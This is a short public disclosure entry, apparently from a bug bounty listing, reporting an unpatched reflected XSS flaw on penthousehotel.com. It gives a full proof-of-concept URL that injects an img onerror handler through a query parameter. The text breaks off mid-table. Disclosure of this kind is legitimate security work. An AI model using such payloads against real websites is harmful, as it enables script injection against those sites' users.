penthousehotel.com XSS vulnerability

Vulnerable URL: http://www.penthousehotel.com/referrercounter.php?referrer1param=%22%3E%3Cimg%20src=null%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...